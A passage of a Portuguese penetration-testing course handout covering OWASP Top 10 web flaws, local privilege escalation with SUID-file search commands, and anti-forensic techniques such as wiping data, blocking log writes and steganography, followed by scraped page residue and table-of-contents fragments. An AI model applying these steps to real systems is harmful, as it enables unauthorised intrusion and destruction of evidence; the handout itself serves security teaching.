mente um cookie de sessão) é automaticamente incluída em requisições do navega-
dor, mesmo que o atacante não forneça tal credencial.
Caso a tag contendo o ataque possa ser postada em uma aplicação vulnerável, então
a probabilidade de encontrar vítimas autenticadas é incrementada significativamente,
similar ao incremento do risco entre as falhas XSS armazenadas e refletidas. Falhas
XSS não são necessárias para um ataque CSRF funcionar, apesar de que qualquer
aplicação com falhas XSS esteja susceptível a CSRF, pois um ataque CSRF pode
explorar uma falha XSS para roubar qualquer credencial não fornecida de forma au-
tomática que possa estar em execução para proteger contra um ataque CSRF. Muitos
worms de aplicação têm usado ambas as técnicas de forma combinada.
Quando estiver construindo defesas contra ataques CSRF, deve-se focar também na
eliminação de vulnerabilidades XSS na aplicação, uma vez que tais vulnerabilidades
podem ser usadas para subverter a maioria das defesas contra CSRF aplicadas.
Saiba mais em:

http://www.owasp.org/index.php/Cross-Site_Request_Forgery
https://www.owasp.org/index.php/Testing_for_CSRF
http://www.owasp.org/index.php/CSRF_Guard
http://www.owasp.org/index.php/PHP_CSRF_Guard
13.9 A6 – VAZAMENTO DE INFORMAÇÕES E

TRATAMENTO DE ERROS INAPROPRIADO
Diversas aplicações podem sem intenção vazar informações sobre suas configura-
ções, funcionamento interno, ou violar privacidade através de diversos problemas.
Aplicações podem vazar o funcionamento interno via tempo de resposta para exe-
cutar determinados processos ou respostas diferentes para entradas diversas, como
exibindo mesma mensagem de erro mas com código de erros diferentes.
Aplicações Web freqüentemente vazarão informações sobre seu funcionamento in-

terno através de mensagens de erros detalhadas ou debug. Freqüentemente, essa

informação pode ser o caminho para lançar ataques ou ferramentas automáticas

mais poderosas.
Aplicações freqüentemente geram mensagens de erros e as mostram para os usuá-

rios. Muitas vezes essas informações são úteis para os atacantes, visto que elas
revelam detalhes de implementações ou informações úteis para explorar uma vulne-
rabilidade. Existem diversos exemplos comuns disso:
• Manipulação de erro detalhada, onde se induzirmos alguns erros serão mostra-

das muitas informações, como o rastreamento da pilha, validações, falhas de
SQL, ou outras informações de debug.
• Funções que produzem diferentes saídas baseado-se em diferentes entradas.

Por exemplo, substituindo o mesmo nome de usuário com senhas diferentes
deveria produzir o mesmo texto como usuário inexistente, ou password inválido.
Entretanto, muitos sistemas geram diferentes códigos de erros.
13.9.2 EXPLORANDO
Para explorar esta falha vamos utilizar algumas ferramentas automatizadas em aula,
segue uma lista de ferramentas para você pesquisar:
FireCat - conjunto de plugins para o firefox.
Firebug - plugin do firefox para alteração de parâmetro no browser cliente.
WebScarab - proxy que permite a captura e manipulação de parâmetros enviados

pelo navegador.
Paros Proxy - proxy que permite a captura de parâmetros enviados pelo navegador.
Nessus - ferramenta de varredura em busca de vulnerabilidades, baseado em plu-

gins constantemente atualizado, escritos em NASL.
Nikto - ferramenta de busca de vulnerabilidades e falhas de configuração do Web-

server Apache.

IEWatch - é um plugin para o Microsoft Internet Explorer para analisar cabeçalhos

de requisições HTTP e HTTPS, além de código fonte HTML.
Wireshark - sniffer de rede que possibilita a análise de protocolos e filtro de paco-

tes, a partir de regras personalizadas, que trafegam na rede.
Wapiti - scanner de vulnerabilidade de aplicações web, pesquisa falhas XSS, in-

jeção de SQL e XPath, inclusões de arquivo (local e remoto) a execução de
comandos, injeção LDAP e injeção CRLF.
W3AF - framework para auditoria e teste de invasão em aplicações web.
Saiba mais em:

http://www.owasp.org/index.php/Error_Handling
http://www.owasp.org/index.php/Category:Sensitive_Data_Protection_Vulnerability
13.10 A7 – FURO DE AUTENTICAÇÃO E GERÊNCIA

DE SESSÃO
Autenticação e gerência de sessão apropriadas são criticas para a segurança na

web. Falhas nesta área geralmente envolvem a falha na proteção de credenciais e
nos tokens da sessão durante seu tempo de vida. Estas falhas podem estar liga-
das à roubo de contas de usuários ou administradores, contornando controles de
autorização e de responsabilização, causando violações de privacidade.
Furos no mecanismo principal de autenticação não são incomuns, mas falhas são ge-
ralmente introduzidas a partir de funções menos importantes de autenticação como
logout, gerência de senhas, timeout, recordação de dados de logon, pergunta secreta
e atualização de conta.

13.10.2 EXPLORANDO
Sistemas com falha de gerência de sessão podem ser vitimas de Session Hijacking
através de:
⇒ Falhas de XSS
⇒ Snifer de rede local
⇒ Cockies Armazenados
Saiba mais em:

http://www.owasp.org/index.php/Guide_to_Authentication
http://www.owasp.org/index.php/Reviewing_Code_for_Authentication
http://www.owasp.org/index.php/Testing_for_authentication
13.11 A8 – ARMAZENAMENTO CRIPTOGRTAFICO

INSEGURO
Proteger dados sensíveis com criptografia tem sido parte chave da maioria das apli-
cações Web.
Simplesmente não criptografar dados sensíveis é muito comum. Ainda, aplicações

que adotam criptografia freqüentemente possuem algoritmos mal concebidos, usam
mecanismos de cifragem inapropriados ou cometem sérios erros usando cifragem
fortes.
Prevenir falhas de criptografia requer planejamento cuidadoso. Os problemas mais

comuns são:

• Não criptografar dados sensíveis
• Uso inseguro de algoritmos fortes
• Uso de algoritmos caseiros
• Continuar usando algoritmos que provadamente são fracos (MD5, SHA-1, RC3,
RC4, etc.)
• Difícil codificação de chaves, e armazenar chaves em sistemas de armazena-

mento desprotegidos
13.11.2 EXPLORANDO
Vamos ver abaixo os tipos de ataques mais utilizados para ter acesso às informações
armazenadas.
• Brute-force
• Rainbowcrack + hash sites
• Md5 Web Crackers
Saiba mais em:

http://www.owasp.org/index.php/Cryptography
http://www.owasp.org/index.php/Guide_to_Cryptography
http://www.owasp.org/index.php/Insecure_Storage
http://www.owasp.org/index.php/How_to_protect_sensitive_data_in_URL’s
13.12 A9 – COMUNICAÇÕES INSEGURAS
Aplicações geralmente falham na hora de encriptar tráfego de rede quando é neces-

sário proteger comunicações sensíveis. A encriptação (geralmente SSL) deve ser

usada em todas as conexões autenticadas, especialmente páginas web com acesso

via internet, mas também conexões com o back- end. Senão, o aplicativo irá expor
uma autenticação ou o token de sessão. Adicionalmente, a autenticação deve ser
usada sempre que dados sensíveis, assim como cartões de crédito ou informações
de saúde são transmitidos. Aplicações cujo modo de encriptação possa ser subver-
tido são alvos de ataques.
Os padrões PCI requerem que todas as informações de cartões de credito que são
transmitidas pela internet sejam encriptadas.
Falha na hora de encriptar informações sensíveis significa que um invasor que possa
escutar o tráfego da rede poderá ter acesso à conversa, incluindo quaisquer cre-
denciais ou informações sensíveis transmitidas. Considerando que redes diferentes
terão mais ou menos suscetibilidade a escuta.
Entretanto, é importante notar que eventualmente um servidor será comprometido

em praticamente qualquer rede, e que invasores instalarão rapidamente uma escuta
para capturar as credenciais de outros sistemas.
O uso de SSL para comunicação com usuários finais é critico, pois é muito provável
que eles utilizem formas inseguras de acessar os aplicativos. Porque HTTP inclui
credenciais de autenticação ou um token de sessão para cada pedido, toda autenti-
cação do tráfego deve ir para o SSL, não só os pedidos de login.
A encriptação de informações com servidores de back-end também é importante.

Mesmo que estes servidores sejam naturalmente mais seguros, as informações e
as credenciais que elas carregam são mais sensíveis e mais impactantes. Portanto,
usar SSL no back-end também é muito importante.
A encriptação de informação sensível, assim como cartões de crédito e informações

de previdência, se tornou um regulamento financeiro e de privacidade para várias
empresas. Negligenciar o uso de SSL para o manuseio de conexões de informações
cria um risco de não conformidade.

13.12.2 EXPLORANDO
Aplicações Web com comunicação insegura podem facilmente ser vitimas de sniffers
de rede, em aula veremos o uso do Wireshark.
Saiba mais em:

http://www.schneier.com/blog/archives/2005/10/scandinavian_at_1.html
https://www.owasp.org/index.php/Testing_for_SSL-TLS
http://www.owasp.org/index.php/Guide_to_Cryptography
13.13 A10 – FALHA AO RESTRINGIR ACESSO À URLS
Comumente, a única proteção para uma URL é não mostrar o link para usuários não
autorizados.
No entanto, um motivado, hábil ou apenas um sortudo atacante pode ser capaz de

achar e acessar estas páginas, executar funções e visualizar dados. Segurança por
obscuridade não é suficiente para proteger dados e funções sensíveis em uma apli-
cação. Verificações de controles de acesso devem ser executadas antes de permitir
uma solicitação a uma função sensível, na qual garante que somente o usuário au-
torizado acesse a respectiva função.
O principal método de ataque para esta vulnerabilidade é chamado de “navegação

forçada” (“forced browsing”), na qual envolve técnicas de adivinhação de links (“gues-
sing”) e força bruta (“brute force”) para achar páginas desprotegidas. É comum que
aplicações utilizem códigos de controle de acesso por toda a aplicação, resultando
em um modelo complexo que dificulta a compreensão para desenvolvedores e espe-
cialistas em segurança. Esta complexidade torna provável a ocorrência de erros e
algumas páginas não serão validadas, deixando a aplicação vulnerável.
Alguns exemplos destas falhas incluem:

• URLS “escondidas” e “especiais”, mostradas apenas para administradores ou

usuários privilegiados na camada de apresentação, porém acessível a todos os
usuários caso tenham conhecimento que esta URL existe, como /admin/addu-
ser.php ou /approveTransfer.do. Estas são particularmente comuns em códigos
de menus.
• Aplicações geralmente permitem acesso a arquivos “escondidos”, como arqui-

vos XML estáticos ou relatórios gerados por sistemas, confiando toda segu-
rança na obscuridade, escondendo-os.
• Códigos que forçam uma política de controle de acesso desatualizada ou insu-

ficiente. Por exemplo, imagine que /approveTransfer.do foi disponibilizado uma
vez para todos usuários, mas desde que os controles da SOX foram adota-
dos, ele supostamente só pode ser acessível por usuários aprovadores. Uma
possível correção seria não mostrar a URL para usuários não autorizados, no
entanto o controle de acesso ainda não estaria implementado na requisição
para esta página.
• Códigos que validam privilégios no cliente (browser) e não no servidor, como

neste ataque na MacWorld 2007, que aprovava para “Platinum” passes que
valiam $1700 via Java Script no browser ao invés de validar no servidor.
Saiba mais em:

http://www.owasp.org/index.php/Forced_browsing
http://www.owasp.org/index.php/Guide_to_Authorization

14 Elevação de Privilégios Locais
14.1 O que é escalada de privilégios?
Escalação ou elevação de privilégios basicamente significa adicionar mais direitos ou

permissões para um usuário. Em resumo, escalação de privilégios tenta transformar
um usuário normal em um usuário administrativo, usuário com maior privilégios do
que o usuário atual ou fazer com que um usuário participe de outros grupos locais
na máquina, com privilégio diferente do privilégio atual do atacante.
Quando exploramos alguns serviços, nem sempre conseguimos acesso root.
Esse é o caso da exploração de um PHP Inject, que vimos anteriormente. Alguns

outros exemplos podem ser usados, como exploração de um daemon que não é
executado como root. Portanto, para conseguirmos controlar totalmente a máquina e
pode executar programas que precisam de privilégios de administrador, precisamos
aumentar nosso privilégio localmente.
Porém, a escalação de privilégios não está limitada apenas a aumentar os privilégios

dentro do sistema operacional, mas em qualquer sistema. Por exemplo, podemos
ter um acesso limitado a um servidor de banco de dados Oracle e desejamos nos
tornar DBA, podendo assim acessar todas as tabelas e bases de dados existentes
no banco. O ato de tornar um usuário com mais privilégios é também chamado de
elevação de privilégios.
Exemplos de caso onde podemos realizar o ataque:
• Exploração de aplicação web que não é executada como root;
• Exploração de serviços que não são executados como root ou tem seu privilégio
“dropado”
• Exploração interna de um aplicativo, por exemplo, um Banco de Dados Oracle.
• Quando conseguimos uma senha local, sem privilégio administrativo.

Linux Force – www.linuxforce.com.br Elevação de Privilégios Locais
14.2 Possíveis alvos
Normalmente, aplicações que possuem suidroot são as mais exploradas, além do

próprio kernel do sistema, que é executado com privilégios de super usuário.
Aplicações com suidroot é uma aplicação com uma permissão especial conhecida
por suid bit (“s”), que quando executada, será executada com privilégios do usuário
root. Portanto, se conseguirmos explorar um arquivo que possui esse tipo de permis-
são, provavelmente conseguiremos obter os privilégios do usuário root no sistema,
conseguindo assim controle total.
Para procurarmos por arquivos com suidroot na máquina, podemos executar o co-
mando abaixo:
1 # find / - perm -4000 > suidroot . txt

2 # less suidroot . txt
3 # find / - perm -04000 - exec ls -l {} \;
Além de arquivos com suidroot, também podem ser exploradas falhas no kernel do
sistema, que é quem cuida dos privilégios dos usuários, e conseqüentemente, ga-
nharemos privilégios administrativos se a falha for explorada com sucesso.
Portanto, após identificarmos os arquivos que possuem esse tipo especial de per-
missão, precisamos identificar falhas de segurança nesses softwares. Essas falhas
podem ser públicas, ou seja, que é possível encontrar na internet, ou privada, que
pode ser comprada de um pesquisador ou empresa, ou até mesmo descoberta pelo
próprio atacante.
14.3 Laboratorio
Vamos fazer um laboratorio com uma das maquinas Kioptrix. Aguarde para ver em
aula.

15 Apagando Rastros
15.1 Por que encobrir rastros?
Um dos objetivos, em um teste de invasão, de utilizar técnicas para encobrir seus ras-
tros e ações, é para testar a eficácia e competência do time de resposta a incidentes
e perícia forense caso os mesmos existam.
As técnicas para apagar rastros também são conhecidas como “anti-forensic”.
Não há necessidade desse tipo de ação por parte de um pentester, caso queira
deixar as evidências de exploração para posterior análise por parte da equipe de
Ti da empresa contratante. No entanto, caso tenha como objetivo testar, também,
a capacidade da equipe de perícia forense em investigar um caso de invasão, é
interessante implementar os passos estudados nesse capítulo
15.2 O que encobrir?
Logs de IDS - Onde são armazenadas todas as evidências de tráfego anormal que
tenha sido detectado na rede. Isso inclui desde o envio de arquivos maliciosos
à varreduras no sistema, em busca de informações.
Logs de Firewall - Logs que guardam as informações filtradas por regras de fi-
rewall.
Normalmente os administradores, quando criam as regras de firewall, tem por

hábito mandar armazenar em log tentativas de varreduras, ataques de brute
force e acesso sem autorização a serviços específicos.
Arquivos copiados no sistema - Qualquer arquivo que tenha sido copiado para o
sistema, mesmo que posteriormente seja apagado, deixa rastros que podem
ser recuperados com ferramentas específicas.
Linux Force – www.linuxforce.com.br Apagando Rastros
Arquivos sendo executados, como backdoors, por exemplo - Todo programa ou

arquivo em execução, é reconhecido pelo sistema como um processo, e como
um pode ser recuperado da memória. Existem várias formas de mascarar a
execução de binários, como por exemplo um rootkit, que substitui binários do
sistemas por seus próprios, com implementações de códigos maliciosos.
Logs de comandos - Tudo o que é digitado no terminal é armazenado no .bash_history

do usuário, por exemplo. Mesmo que seja apagado, esse arquivo também pode
ser recuperado pela equipe de perícia forense.
Logs de sessão - Quando efetuamos o login e autenticamos uma sessão válida,

tudo o que ocorre na mesma é armazenado em logs. Algumas organizações
possuem, inclusive, servidores exclusivos para armazenamento e gerencia-
mento de logs. No Linux, a maioria dos logs ficam armazenados em /var/log.
15.3 Técnicas
Sobreescrita de dados - Quando apagamos algo em um disco, os dados são ape-

nas marcados para a deleção e não realmente apagados. Os dados marcados
para a deleção, são apagados apenas quando o sistema operacional utiliza os
mesmos blocos do disco para gravar novos dados, realizando a sobreescrita.
Quanto mais vezes aquele mesmo setor for sobreescrito, mais difícil se tornará
a recuperação das informações originalmente existentes. Esse método também
é conhecido como “wipe”.
Prevenção de criação de dados - É possível, através da alteração de permissão

em determinados arquivos, que novos dados sejam inseridos no mesmo, por
exemplo. Podemos citar o caso de arquivos de log, que se tiver sua permis-
são alterada para negar a possibilidade de escrita nos mesmo, nenhuma nova
operação será armazenada, e o administrador do sistema não poderá fazer a
verificação posterior para entender o que comprometeu o sistema ou a rede.
Encriptação de dados - A melhor maneira de ocultar um arquivo, para que nin-

guém veja seu conteúdo, ou consiga alterá-lo, é encriptando-o, seja através de
uma ferramenta específica de encriptação, seja ocultando o arquivo dentro de
outro, cuja extensão e conteúdo sejam diversos do original. Essa última técnica
também pode ser chamada de esteganografia.
Deleção segura de dados - Essa técnica está diretamente vinculada com a pri-
meira, de sobreescrita de dados. Todo e qualquer processo de deleção de

Linux Force – www.linuxforce.com.br Apagando Rastros
arquivos, deve ser cuidadoso, para que não seja possível a posterior recupera-
ção das informações.
15.4 Ferramentas
Tor (The Onion Router) - O Tor mantém o usuário livre de bisbilhoteiros, inclusive
os do FBI e os da CIA, e impede (ou dificulta bastante) qualquer tipo de rastre-
amento.
E é exatamente isso que o Tor oferece. Em vez de seguir uma rota direta en-
tre origem e destino, toda a informação transmitida por ele segue um caminho
randômico, que se altera permanentemente, através de diversos servidores vo-
luntários que cobrem a rota. Fica difícil para qualquer sistema saber quem você
é, onde você está ou de onde veio, embora seja possível saber o que você está
levando consigo.
Wipe - Wipe é um aplicativo que permite a deleção segura de dados, permitindo

que o usuário defina quais arquivos serão apagados e quantas vezes aqueles
blocos de disco, onde os arquivos apagados estavam alocados, serão sobrees-
critos. Quanto mais vezes se sobreescreve, mais difícil a posterior recuperação
dos dados. Cada operação de sobreescrita deve ser realizada até o final, para
que o prorama seja completamente eficaz.
Scrub - Outra possibilidade para realizar o “data wiping”, sobrescrevendo os dados

deletados com um padrão determinado de informações, que podem ou não ser
removidas no final da informação. Se não forem removidas, o perito forense
encontrará apenas “lixo digital” nos blocos do disco, sem qualquer coerência.
Steghide - Steghide é um programa de esteganografia que é capaz de esconder

dados em vários tipos de arquivos de áudio e de imagem. As frequências de
som e de cor, respectivamente, não são alteradas tornando o arquivo resistente
contra testes estatísticos de primeira ordem. Formatos de arquivos JPEG, BMP,
WAV e AU são suportados para uso como arquivo de "cobertura". Não há res-
trições sobre o formato dos dados secretos. O algoritmo de criptografia padrão
é o Rijndael com uma chave de 128 bits de comprimento (que é AES - Advan-
ced Encryption Standard). Se você não confia nesta combinação por qualquer
razão, sinta-se à vontade para escolher outra combinação modo/algoritmo.

16 Referências Bibliográficas
Todo material sobre IPV6 foi extraido de:
Apostila IPV6 Básico - rev. 2012.07.22-01
Autores:
• Antonio Marcos Moreiras
• Edwin Santos Cordeiro
• Rodrigo Regis dos Santos
• Alexandre Yukio Harano
• Eduardo Barasal Morales
• Heitor de Souza Ganzelli
• Tiago Jun Nakamura
• Rodrigo Mattos Carnier
• Tuany Tabosa
Fornecido pelo NIC.br através do site http://www.ipv6.br
Utilizamos o OWASP TOP 10 2007 Traduzido para Português por:
• Cleber Brandão “Clebeer” - Analista de Controle de Qualidade - BRconnection
• Fabricio Ataides Braz
• Leonardo Cavallari Militelli – Especialista de Segurança - E-val Tecnologia

Linux Force – www.linuxforce.com.br Referências Bibliográficas
• Marcos Aurélio Rodrigues - Analista Segurança - BRconnection
• Myke Hamada
• Rodrigo Montoro “Sp0oKer” - Analista Segurança - BRconnection
Disponivel para download em:
http://www.owasp.org/images/4/42/OWASP_TOP_10_2007_PT-BR.pdf
Sites pesquisados:
http://pt.wikipedia.org
http://tools.ietf.org
http://www.ipv6.br
http://www.torproject.org
http://www.openwall.com
http://www.ethicalhacker.net
http://www.owasp.org
http://cve.mitre.org
http://www.segurancaremota.com.br

Apostila Penteste

Enviado por

Dados do documento

Título original

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Apostila Penteste

Enviado por

Direitos autorais:

Formatos disponíveis

PenTest - Segurança Hacker

1 Conceitos Básicos de Redes de Computadores 1

3 Introdução à Segurança da Informação 61

PenTest - Segurança Hacker Página ii

3.4.7 NIST 800 Series . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

4 Introdução ao Teste de Invasão e Ética Hacker 74

PenTest - Segurança Hacker Página iii

7 Engenharia Social 104

PenTest - Segurança Hacker Página iv

8 Varreduras ativas, passivas e furtivas de rede 108

9 Enumeração de informações e serviços 117

10 Trojans, Backdoors, Vírus, Rootkits e Worms 120

11 Ignorando Proteções 129

PenTest - Segurança Hacker Página v

12 Tecnicas de Forca Bruta 133

13 Vulnerabilidades em aplicações web 149

PenTest - Segurança Hacker Página vi

14 Elevação de Privilégios Locais 170

15 Apagando Rastros 172

16 Referências Bibliográficas 175

PenTest - Segurança Hacker Página vii

1.1 Definições Gerais

Uma Rede de Computadores é: um conjunto de dispositivos processadores capa-

• e qualquer outro equipamento com capacidade de interconexão

1.1.1 Classificação segundo a extensão geográfica

1.1.1.1 Rede Local (LAN)

pamentos processadores com a finalidade de troca de dados. Um conceito mais

1.1.1.2 Rede de Longa Distância (WAN)

1.1.1.3 Rede Metropolitana (MAN)

Rede de Área Metropolitana (Metropolitan Area Network), também conhecida

A partir do momento que a internet atraiu uma audiência de massa, as operadoras

PenTest - Segurança Hacker Página 2

1.1.2 Conceitos importantes

A Internet é o maior conglomerado de redes de comunicações em escala mundial e

PenTest - Segurança Hacker Página 3

Dentro de uma empresa, todos os departamentos possuem alguma informação que

Diferentemente do que ocorre na intranet, na extranet o acesso à internet se dá em

A Extranet de uma empresa é a porção da rede de computadores que faz uso da

1.1.2.4 VPN (Rede Privada Virtual)

PenTest - Segurança Hacker Página 4

1.2 Modelo de Referência OSI

PenTest - Segurança Hacker Página 5

um conjunto de 7 camadas (layers) e os serviços atribuídos a cada uma. O modelo

1.2.1 Camada 1 – Física

Transmissão transparente de seqüências de bits pelo meio físico.

Contém padrões mecânicos, funcionais, elétricos e procedimentos para acesso a

Especifica os meios de transmissão (satélite, coaxial, radiotransmissão, par metálico,

• Full ou half duplex

1.2.2 Camada 2 – Enlace

Esconde características físicas do meio de transmissão.

Transforma os bits em quadros (frames).

Provê meio de transmissão confiável entre dois sistemas adjacentes.

Funções mais comuns:

• Seqüencialização dos dados

• Controle de fluxo de quadro

PenTest - Segurança Hacker Página 6

1.2.3 Camada 3 – Rede

Provê canal de comunicação independente do meio.

Transmite pacotes de dados através da rede.

Os pacotes podem ser independentes (datagramas) ou percorrer uma conexão pré-

• Tradução de endereços lógicos em endereços físicos

• Não propaga broadcast de rede

• Não possuem garantia de entrega dos pacotes